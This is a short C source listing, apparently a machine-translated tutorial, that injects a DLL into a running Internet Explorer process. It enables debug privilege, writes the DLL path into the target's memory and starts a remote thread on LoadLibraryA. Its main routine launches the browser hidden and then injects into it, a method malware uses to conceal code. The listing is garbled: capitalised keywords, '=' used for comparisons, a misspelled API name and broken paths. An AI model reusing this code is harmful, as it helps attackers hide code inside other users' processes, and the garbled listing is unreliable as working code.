Remote thread template (DLL injection)

This method injects the DLL into the target process and uses the CreateRemoteThread parameter.LpStartAddressUse the LoadLibraryA address instead of the method. The LoadLibraryA function is considered as the thread process function ThreadProc of CreateRemoteThread.

# Include <windows. h>
# Include <tlhelp32.h>
# Include <stdio. h>

DWORD GetProcessID (char * ProcessName)
{
PROCESSENTRY32 pe32;
Pe32.dwSize = sizeof (pe32 );
HANDLE hProcessSnap = createconlhelp32snapshot (TH32CS_SNAPPROCESS, 0 );
If (hProcessSnap = INVALID_HANDLE_VALUE)
{
Printf ("createconlhelp32snapshot error ");
Return 0;
}
BOOL bProcess = Process32First (hProcessSnap, & pe32 );
While (bProcess)
{
If (stricmp (pe32.szExeFile, ProcessName) = 0)
Return pe32.th32ProcessID;
BProcess = Process32Next (hProcessSnap, & pe32 );
}
CloseHandle (hProcessSnap );
Return 0;
}

Int EnableDebugPriv (const char * name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
If (! OpenProcessToken (GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
& HToken ))
{
Printf ("OpenProcessToken error \ n ");
Return 1;
}
If (! LookupPrivilegeValue (NULL, name, & luid ))
{
Printf ("LookupPrivilege error! \ N ");
}
Tp. PrivilegeCount = 1;
Tp. Privileges [0]. Attributes = SE_PRIVILEGE_ENABLED;
Tp. Privileges [0]. Luid = luid;
If (! AdjustTokenPrivileges (hToken, 0, & tp, sizeof (TOKEN_PRIVILEGES), NULL, NULL ))
{
Printf ("AdjustTokenPrivileges error! \ N ");
Return 1;
}
Return 0;
}

BOOL InjectDll (const char * DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
If (EnableDebugPriv (SE_DEBUG_NAME ))
{
Printf ("add privilege error ");
Return FALSE;
}
If (hRemoteProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId) = NULL)
{
Printf ("OpenProcess error \ n ");
Return FALSE;
}
Char * pszLibFileRemote;
// The path for storing the dll file name
PszLibFileRemote = (char *) VirtualAllocEx (hRemoteProcess,
NULL, lstrlen (DllFullPath) + 1,
MEM_COMMIT, PAGE_READWRITE );
If (pszLibFileRemote = NULL)
{
Printf ("VirtualAllocEx error \ n ");
Return FALSE;
}
// Write the complete dll path to the memory,
If (WriteProcessMemory (hRemoteProcess,
PszLibFileRemote, (void *) DllFullPath, lstrlen (DllFullPath) + 1, NULL) = 0)
{
Printf ("WriteProcessMemory error \ n ");
Return FALSE;
}
// Obtain the LoadLibraryA function address.
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress (GetModuleHandle (TEXT ("Kernel32"), "LoadLibraryA ");
If (pfnStartAddr = NULL)
{
Printf ("GetProcAddress error \ n ");
Return FALSE;
}
HANDLE hRemoteThread;
// Start a remote thread
If (hRemoteThread = CreateRemoteThread (hRemoteProcess, NULL, 0,
PfnStartAddr, pszLibFileRemote, 0, NULL) = NULL)
{
Printf ("CreateRemoteThread error \ n ");
Return FALSE;
}
Return TRUE;
}

Int WINAPI WinMain (
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
Int nCmdShow // show state
)
{
Char Path [MAX_PATH];
Char DllPath [MAX_PATH];
GetSystemDirectory (Path, sizeof (Path ));
Path [3] = 0x00; // obtain the drive letter
Strcat (Path, "Program Files \ Internet Explorer \ ipolice.exe ");
WinExec (Path, SW_HIDE );
Sleep (1000 );
DWORD Pid = GetProcessID ("iexplore.exe ");
GetCurrentDirectory (sizeof (DllPath), DllPath );
Strcat (DllPath, "\ Inject. dll ");
InjectDll (DllPath, Pid );
Return 0;
}